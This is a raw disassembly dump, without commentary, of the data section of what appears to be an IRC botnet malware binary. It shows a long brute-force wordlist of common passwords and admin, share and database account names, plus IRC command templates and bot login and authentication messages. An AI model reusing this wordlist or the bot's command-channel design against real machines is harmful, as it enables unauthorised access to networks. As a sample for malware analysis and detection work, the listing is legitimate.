DATA XREF: .nsp0:0042C858o align 4 aBradley db 'bradley',0 ; DATA XREF: .nsp0:0042C854o aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042C850o align 4 aBorn db 'born',0 ; DATA XREF: .nsp0:0042C84Co align 10h aBook db 'book',0 ; DATA XREF: .nsp0:0042C848o align 4 aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0042C844o align 10h aBoob db 'boob',0 ; DATA XREF: .nsp0:0042C840o align 4 aBoner db 'boner',0 ; DATA XREF: .nsp0:0042C83Co align 10h aBomb db 'bomb',0 ; DATA XREF: .nsp0:0042C838o align 4 aBoard db 'board',0 ; DATA XREF: .nsp0:0042C834o align 10h aBlues db 'blues',0 ; DATA XREF: .nsp0:0042C830o align 4 aBlue db 'blue',0 ; DATA XREF: .nsp0:0042C82Co align 10h aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0042C828o aBlow db 'blow',0 ; DATA XREF: .nsp0:0042C824o align 10h aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0042C820o align 4 aBlood db 'blood',0 ; DATA XREF: .nsp0:0042C81Co align 4 aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0042C818o aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0042C814o align 4 aBlack db 'black',0 ; DATA XREF: .nsp0:0042C810o align 4 aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0042C80Co align 4 aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0042C808o align 4 aBitch db 'bitch',0 ; DATA XREF: .nsp0:0042C804o align 4 aBishop db 'bishop',0 ; DATA XREF: .nsp0:0042C800o align 4 aBird db 'bird',0 ; DATA XREF: .nsp0:0042C7FCo align 4 aBios db 'bios',0 ; DATA XREF: .nsp0:0042C7F8o align 4 aBinary db 'binary',0 ; DATA XREF: .nsp0:0042C7F4o align 4 aBill db 'bill',0 ; DATA XREF: .nsp0:0042C7F0o align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0042C7ECo aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0042C7E8o align 10h aBible db 'bible',0 ; DATA XREF: .nsp0:0042C7E4o align 4 aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0042C7E0o aBetty db 'betty',0 ; DATA XREF: .nsp0:0042C7DCo align 4 aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0042C7D8o align 10h aBeth db 'beth',0 ; DATA XREF: .nsp0:0042C7D4o align 4 aBeta db 'beta',0 ; DATA XREF: .nsp0:0042C7D0o align 10h aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0042C7CCo align 4 aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0042C7C8o align 4 aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0042C7C4o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042C7C0o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0042C7BCo aBenz db 'benz',0 ; DATA XREF: .nsp0:0042C7B8o align 4 aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0042C7B4o aBell db 'bell',0 ; DATA XREF: .nsp0:0042C7B0o align 4 aBehead db 'behead',0 ; DATA XREF: .nsp0:0042C7ACo align 10h aBegin db 'begin',0 ; DATA XREF: .nsp0:0042C7A8o align 4 aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0042C7A4o align 4 aBecky db 'becky',0 ; DATA XREF: .nsp0:0042C7A0o align 4 aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0042C79Co align 4 aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0042C798o align 4 aBeater db 'beater',0 ; DATA XREF: .nsp0:0042C794o align 4 aBeast db 'beast',0 ; DATA XREF: .nsp0:0042C790o align 4 aBear db 'bear',0 ; DATA XREF: .nsp0:0042C78Co align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0042C788o align 10h aBeach db 'beach',0 ; DATA XREF: .nsp0:0042C784o align 4 aBatman db 'batman',0 ; DATA XREF: .nsp0:0042C780o align 10h aBatch db 'batch',0 ; DATA XREF: .nsp0:0042C77Co align 4 aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0042C778o aBass db 'bass',0 ; DATA XREF: .nsp0:0042C774o align 4 aBasic db 'basic',0 ; DATA XREF: .nsp0:0042C770o align 10h aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0042C76Co align 4 aBartman db 'bartman',0 ; DATA XREF: .nsp0:0042C768o aBart db 'bart',0 ; DATA XREF: .nsp0:0042C764o align 4 aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042C760o align 4 aBarf db 'barf',0 ; DATA XREF: .nsp0:0042C75Co align 10h aBare db 'bare',0 ; DATA XREF: .nsp0:0042C758o align 4 aBarber db 'barber',0 ; DATA XREF: .nsp0:0042C754o align 10h aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042C750o aBanks db 'banks',0 ; DATA XREF: .nsp0:0042C74Co align 10h aBank db 'bank',0 ; DATA XREF: .nsp0:0042C748o align 4 aBandit db 'bandit',0 ; DATA XREF: .nsp0:0042C744o align 10h aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042C740o aBanana db 'banana',0 ; DATA XREF: .nsp0:0042C73Co align 10h aBall db 'ball',0 ; DATA XREF: .nsp0:0042C738o align 4 aBailey db 'bailey',0 ; DATA XREF: .nsp0:0042C734o align 10h aBadass db 'badass',0 ; DATA XREF: .nsp0:0042C730o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0042C72Co align 4 aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0042C728o aBaby db 'baby',0 ; DATA XREF: .nsp0:0042C724o align 4 aBabe db 'babe',0 ; DATA XREF: .nsp0:0042C720o align 4 aAzure db 'azure',0 ; DATA XREF: .nsp0:0042C71Co align 4 aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0042C718o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0042C714o align 4 aAttack db 'attack',0 ; DATA XREF: .nsp0:0042C710o align 10h aAtom db 'atom',0 ; DATA XREF: .nsp0:0042C70Co align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0042C708o align 4 aAthena db 'athena',0 ; DATA XREF: .nsp0:0042C704o align 4 aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0042C700o aAsian db 'asian',0 ; DATA XREF: .nsp0:0042C6FCo align 4 aArtist db 'artist',0 ; DATA XREF: .nsp0:0042C6F8o align 4 aArthur db 'arthur',0 ; DATA XREF: .nsp0:0042C6F4o align 4 aArrow db 'arrow',0 ; DATA XREF: .nsp0:0042C6F0o align 4 aArmy db 'army',0 ; DATA XREF: .nsp0:0042C6ECo align 4 aArlene db 'arlene',0 ; DATA XREF: .nsp0:0042C6E8o align 4 aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0042C6E4o aAria db 'aria',0 ; DATA XREF: .nsp0:0042C6E0o align 4 aApril db 'april',0 ; DATA XREF: .nsp0:0042C6DCo align 4 aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0042C6D8o align 4 aAnything db 'anything',0 ; DATA XREF: .nsp0:0042C6D4o align 4 aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042C6D0o align 4 aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0042C6CCo align 4 aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0042C6C8o aAnswer db 'answer',0 ; DATA XREF: .nsp0:0042C6C4o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042C6C0o align 4 aAnon db 'anon',0 ; DATA XREF: .nsp0:0042C6BCo align 4 aAnnette db 'annette',0 ; DATA XREF: .nsp0:0042C6B8o aAnne db 'anne',0 ; DATA XREF: .nsp0:0042C6B4o align 4 aAnna db 'anna',0 ; DATA XREF: .nsp0:0042C6B0o align 4 aAnita db 'anita',0 ; DATA XREF: .nsp0:0042C6ACo align 4 aAnimals db 'animals',0 ; DATA XREF: .nsp0:0042C6A8o aAnimal db 'animal',0 ; DATA XREF: .nsp0:0042C6A4o align 4 aAngie db 'angie',0 ; DATA XREF: .nsp0:0042C6A0o align 4 aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0042C69Co align 10h aAngela db 'angela',0 ; DATA XREF: .nsp0:0042C698o align 4 aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0042C694o align 10h aAndy db 'andy',0 ; DATA XREF: .nsp0:0042C690o align 4 aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0042C68Co align 4 aAndroid db 'android',0 ; DATA XREF: .nsp0:0042C688o aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0042C684o align 4 aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042C680o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0042C67Co aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0042C678o align 10h aAnalog db 'analog',0 ; DATA XREF: .nsp0:0042C674o align 4 aAnal db 'anal',0 ; DATA XREF: .nsp0:0042C670o align 10h aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0042C66Co align 4 aAmerica db 'america',0 ; DATA XREF: .nsp0:0042C668o aAmber db 'amber',0 ; DATA XREF: .nsp0:0042C664o align 4 aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042C660o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0042C65Co aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042C658o align 4 aAllow db 'allow',0 ; DATA XREF: .nsp0:0042C654o align 10h aAllison db 'allison',0 ; DATA XREF: .nsp0:0042C650o aAlison db 'alison',0 ; DATA XREF: .nsp0:0042C64Co align 10h aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042C648o align 4 aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0042C644o align 10h aAlice db 'alice',0 ; DATA XREF: .nsp0:0042C640o align 4 aAliases db 'aliases',0 ; DATA XREF: .nsp0:0042C63Co aAlias db 'alias',0 ; DATA XREF: .nsp0:0042C638o align 4 aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0042C634o aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0042C630o align 4 aAlex db 'alex',0 ; DATA XREF: .nsp0:0042C62Co align 4 aAlert db 'alert',0 ; DATA XREF: .nsp0:0042C628o align 4 aAlbert db 'albert',0 ; DATA XREF: .nsp0:0042C624o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0042C620o align 10h aAlbany db 'albany',0 ; DATA XREF: .nsp0:0042C61Co align 4 aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0042C618o align 10h aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0042C614o align 4 aAids db 'aids',0 ; DATA XREF: .nsp0:0042C610o align 4 aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0042C60Co align 10h aAdult db 'adult',0 ; DATA XREF: .nsp0:0042C608o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0042C604o align 4 aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0042C600o align 4 aAdam db 'adam',0 ; DATA XREF: .nsp0:0042C5FCo align 4 aAction db 'action',0 ; DATA XREF: .nsp0:0042C5F8o align 4 aAccount db 'account',0 ; DATA XREF: .nsp0:0042C5F4o aAcademic db 'academic',0 ; DATA XREF: .nsp0:0042C5ECo align 10h aAcademia db 'academia',0 ; DATA XREF: .nsp0:0042C5E8o align 4 a000000 db '000000',0 ; DATA XREF: .nsp0:0042C5E4o ; .nsp0:0042DFFCo align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:0042C5E0o ; .nsp0:0042DFF8o align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:0042C5DCo ; .nsp0:0042DFF4o align 4 a000 db '000',0 ; DATA XREF: .nsp0:0042C5D8o ; .nsp0:0042DFF0o aTesting db 'testing',0 ; DATA XREF: .nsp0:0042C5D4o aDeath db 'death',0 ; DATA XREF: .nsp0:0042C5D0o align 4 a00 db '00',0 ; DATA XREF: .nsp0:0042C5CCo ; .nsp0:0042DFECo align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0042C5C4o ; .nsp0:0042E43Co align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042C5C0o ; .nsp0:0042E438o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0042C5BCo ; .nsp0:0042E434o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0042C5B8o ; .nsp0:0042E430o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0042C5B4o ; .nsp0:0042E42Co align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042C5B0o ; .nsp0:0042E428o align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:0042C5ACo ; .nsp0:0042E424o aXx db 'xx',0 ; DATA XREF: .nsp0:0042C5A8o ; .nsp0:0042E420o align 4 asc_432C6C: ; DATA XREF: .nsp0:0042C5A4o ; .nsp0:0042E41Co unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042C5A0o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0042C59Co align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0042C598o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:0042C594o align 10h aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042C590o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0042C58Co align 4 aScript db 'script',0 ; DATA XREF: .nsp0:0042C588o align 10h aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0042C584o align 4 aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042C580o align 10h aL337 db 'l337',0 ; DATA XREF: .nsp0:0042C57Co align 4 aL33t db 'l33t',0 ; DATA XREF: .nsp0:0042C578o align 10h aLeet db 'leet',0 ; DATA XREF: .nsp0:0042C574o align 4 aKiller db 'killer',0 ; DATA XREF: .nsp0:0042C570o align 10h a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0042C56Co ; .nsp0:0042E058o align 4 aW00t db 'w00t',0 ; DATA XREF: .nsp0:0042C568o align 10h aHeaven db 'heaven',0 ; DATA XREF: .nsp0:0042C564o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042C560o align 4 aSatanic db 'satanic',0 ; DATA XREF: .nsp0:0042C55Co aSatanik db 'satanik',0 ; DATA XREF: .nsp0:0042C558o aSatan db 'satan',0 ; DATA XREF: .nsp0:0042C554o align 4 aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042C550o align 4 aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:0042C54Co aMatt db 'Matt',0 ; DATA XREF: .nsp0:0042C548o align 4 aMat db 'Mat',0 ; DATA XREF: .nsp0:0042C544o aPw db 'pw',0 ; DATA XREF: .nsp0:0042C540o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:0042C53Co align 4 aMypass db 'mypass',0 ; DATA XREF: .nsp0:0042C538o align 10h aPw123 db 'pw123',0 ; DATA XREF: .nsp0:0042C534o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0042C530o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:0042C52Co aMypc db 'mypc',0 ; DATA XREF: .nsp0:0042C528o align 4 aLove db 'love',0 ; DATA XREF: .nsp0:0042C524o align 4 aPwd db 'pwd',0 ; DATA XREF: .nsp0:0042C520o aLogin db 'login',0 ; DATA XREF: .nsp0:0042C51Co align 4 aHome db 'home',0 ; DATA XREF: .nsp0:0042C518o align 10h aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0042C514o ; .nsp0:0042E45Co align 4 aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:0042C510o align 10h aQwer db 'qwer',0 ; DATA XREF: .nsp0:0042C50Co ; .nsp0:0042E3C8o align 4 aSecret db 'secret',0 ; DATA XREF: .nsp0:0042C508o align 10h aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0042C504o ; .nsp0:0042E474o align 4 aPc db 'pc',0 ; DATA XREF: .nsp0:0042C500o align 4 aWin db 'win',0 ; DATA XREF: .nsp0:0042C4FCo aTest123 db 'test123',0 ; DATA XREF: .nsp0:0042C4F8o aAbc db 'abc',0 ; DATA XREF: .nsp0:0042C4F4o aAaa db 'aaa',0 ; DATA XREF: .nsp0:0042C4F0o ; .nsp0:0042E39Co aA_1: ; DATA XREF: .nsp0:0042C4ECo ; .nsp0:0042E394o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: .nsp0:0042C4E8o align 4 aFucked db 'fucked',0 ; DATA XREF: .nsp0:0042C4E4o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0042C4E0o aIrule db 'irule',0 ; DATA XREF: .nsp0:0042C4DCo align 4 aOwned db 'owned',0 ; DATA XREF: .nsp0:0042C4D8o align 4 a0wned db '0wned',0 ; DATA XREF: .nsp0:0042C4D4o ; .nsp0:0042E05Co align 4 aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042C4D0o align 10h aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:0042C4CCo align 4 aDevil db 'devil',0 ; DATA XREF: .nsp0:0042C4C8o align 4 aNilez db 'Nilez',0 ; DATA XREF: .nsp0:0042C4C4o align 4 aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042C4C0o align 4 aGod db 'god',0 ; DATA XREF: .nsp0:0042C4BCo aSex_0 db 'sex',0 ; DATA XREF: .nsp0:0042C4B8o aPat db 'pat',0 ; DATA XREF: .nsp0:0042C4B4o aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042C4B0o aAlpha db 'alpha',0 ; DATA XREF: .nsp0:0042C4ACo align 10h a007 db '007',0 ; DATA XREF: .nsp0:0042C4A8o ; .nsp0:0042E048o a123abc db '123abc',0 ; DATA XREF: .nsp0:0042C4A4o ; .nsp0:0042E258o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042C4A0o ; .nsp0:0042E264o align 4 a123123 db '123123',0 ; DATA XREF: .nsp0:0042C49Co ; .nsp0:0042E204o align 10h a121212 db '121212',0 ; DATA XREF: .nsp0:0042C498o ; .nsp0:0042E1FCo align 4 a111111 db '111111',0 ; DATA XREF: .nsp0:0042C494o ; .nsp0:0042E074o align 10h a110 db '110',0 ; DATA XREF: .nsp0:0042C490o ; .nsp0:0042E1C8o a2600 db '2600',0 ; DATA XREF: .nsp0:0042C48Co ; .nsp0:0042E350o align 4 a2002 db '2002',0 ; DATA XREF: .nsp0:0042C484o ; .nsp0:0042E33Co align 4 aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042C480o align 4 aEnable db 'enable',0 ; DATA XREF: .nsp0:0042C47Co align 10h aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:0042C478o aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:0042C474o a123asd db '123asd',0 ; DATA XREF: .nsp0:0042C470o ; .nsp0:0042E25Co align 10h aSuper db 'super',0 ; DATA XREF: .nsp0:0042C46Co align 4 aInternet db 'Internet',0 ; DATA XREF: .nsp0:0042C468o align 4 a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042C460o ; .nsp0:0042E260o align 4 aSybase db 'sybase',0 ; DATA XREF: .nsp0:0042C45Co align 4 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0042C454o align 4 aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042C450o align 4 aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0042C448o align 4 aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0042C444o align 4 a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042C440o ; .nsp0:0042E194o align 10h a11111111 db '11111111',0 ; DATA XREF: .nsp0:0042C43Co ; .nsp0:0042E07Co align 4 a111 db '111',0 ; DATA XREF: .nsp0:0042C438o ; .nsp0:0042E068o a54321 db '54321',0 ; DATA XREF: .nsp0:0042C434o ; .nsp0:0042E35Co align 4 a654321 db '654321',0 ; DATA XREF: .nsp0:0042C430o ; .nsp0:0042E360o align 10h a123456789 db '123456789',0 ; DATA XREF: .nsp0:0042C42Co ; .nsp0:0042E21Co align 4 a12345678 db '12345678',0 ; DATA XREF: .nsp0:0042C428o ; .nsp0:0042E218o align 4 a1234567 db '1234567',0 ; DATA XREF: .nsp0:0042C424o ; .nsp0:0042E214o a123456 db '123456',0 ; DATA XREF: .nsp0:0042C420o ; .nsp0:0042E210o align 4 a12345 db '12345',0 ; DATA XREF: .nsp0:0042C41Co ; .nsp0:0042E20Co align 10h a1234 db '1234',0 ; DATA XREF: .nsp0:0042C418o ; .nsp0:0042E208o align 4 a123 db '123',0 ; DATA XREF: .nsp0:0042C414o ; .nsp0:0042E200o a12 db '12',0 ; DATA XREF: .nsp0:0042C410o ; .nsp0:0042E1F4o align 10h a1: ; DATA XREF: .nsp0:0042C40Co ; .nsp0:0042E060o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0042C408o aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0042C404o align 4 aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0042C400o align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:0042C3FCo align 4 aUnix db 'unix',0 ; DATA XREF: .nsp0:0042C3F8o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0042C3F4o align 4 aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0042C3F0o align 4 aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:0042C3ECo ; .nsp0:0042E7ACo align 4 aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0042C3E8o ; .nsp0:0042E3FCo ... align 4 aBackup_0 db 'BACKUP',0 ; DATA XREF: .nsp0:0042C3E4o ; .nsp0:0042E7A4o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0042C3DCo ; .nsp0:0042E79Co align 4 aTest db 'TEST',0 ; DATA XREF: .nsp0:0042C3D8o ; .nsp0:0042E798o align 4 aEdu db 'edu',0 ; DATA XREF: .nsp0:0042C3D4o ; .nsp0:0042E794o aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042C3D0o ; .nsp0:0042E790o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0042C3CCo ; .nsp0:0042E78Co align 10h aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0042C3C8o ; .nsp0:0042E788o align 4 aFiles db 'FILES',0 ; DATA XREF: .nsp0:0042C3C4o ; .nsp0:0042E784o align 10h aRead db 'READ',0 ; DATA XREF: .nsp0:0042C3C0o ; .nsp0:0042E780o align 4 aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0042C3BCo ; .nsp0:0042E77Co align 10h aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0042C3B8o ; .nsp0:0042E778o align 4 aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0042C3B4o ; .nsp0:0042E774o align 10h aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042C3B0o ; .nsp0:0042E770o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0042C3ACo ; .nsp0:0042E76Co align 10h aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0042C3A8o ; .nsp0:0042E768o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0042C3A4o ; .nsp0:0042E764o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042C3A0o ; .nsp0:0042E760o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0042C398o ; .nsp0:0042E758o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0042C394o ; .nsp0:0042E754o align 4 aBla db 'bla',0 ; DATA XREF: .nsp0:0042C390o ; .nsp0:0042E750o aFubar db 'fubar',0 ; DATA XREF: .nsp0:0042C38Co ; .nsp0:0042E74Co align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042C380o ; .nsp0:0042E740o align 4 aBackup db 'backup',0 ; DATA XREF: .nsp0:0042C374o align 10h aGuest db 'Guest',0 ; DATA XREF: sub_413627:loc_413740o ; .nsp0:0042C370o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042C36Co ; .nsp0:0042DA40o align 4 aUser db 'user',0 ; DATA XREF: sub_40CE55+203Bo ; .nsp0:0042C368o align 4 aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042C360o aOracle db 'oracle',0 ; DATA XREF: .nsp0:0042C35Co ; .nsp0:0042C458o align 4 aDba db 'dba',0 ; DATA XREF: .nsp0:0042C358o aDatabase db 'database',0 ; DATA XREF: .nsp0:0042C354o ; .nsp0:0042C44Co align 4 aDefault db 'default',0 ; DATA XREF: .nsp0:0042C350o ; .nsp0:0042CAECo aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0042C34Co align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0042C348o align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0042C344o ; .nsp0:0042DA80o aStudent db 'student',0 ; DATA XREF: .nsp0:0042C340o ; .nsp0:0042D9C8o aOwner db 'owner',0 ; DATA XREF: .nsp0:0042C33Co align 4 aComputer db 'computer',0 ; DATA XREF: .nsp0:0042C338o ; .nsp0:0042C464o align 4 aStaff db 'staff',0 ; DATA XREF: .nsp0:0042C330o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0042C324o aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0042C320o align 4 aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_413627:loc_413732o ; .nsp0:0042C314o ... align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_42C268o a@room db '*@room',0 ; DATA XREF: .nsp0:off_42C264o align 10h dword_433150 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C682+35Co dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h dword_43317C dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C682+28Ao dword_433188 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CB75+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCDD+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCDD+35o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o align 10h dword_433200 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5CBBo dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_433234 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5C9Eo dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_433268 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5C40o dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_4332A8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5BD0o dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5BC1o ; sub_40CE55+5C31o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5BADo ; sub_40CE55+5C1Do align 4 asc_433334: ; DATA XREF: sub_40CE55+5B7Do unicode 0, <~>,0 dword_433338 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5B2Co dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 10h dword_433370 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A7Eo dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 10h dword_4333B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A73o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_4333F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A0Fo dd 2029206Ch, 2BBBB02h, 73252020h, 0 unk_433414 db 2 ; DATA XREF: sub_40CE55+59E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h 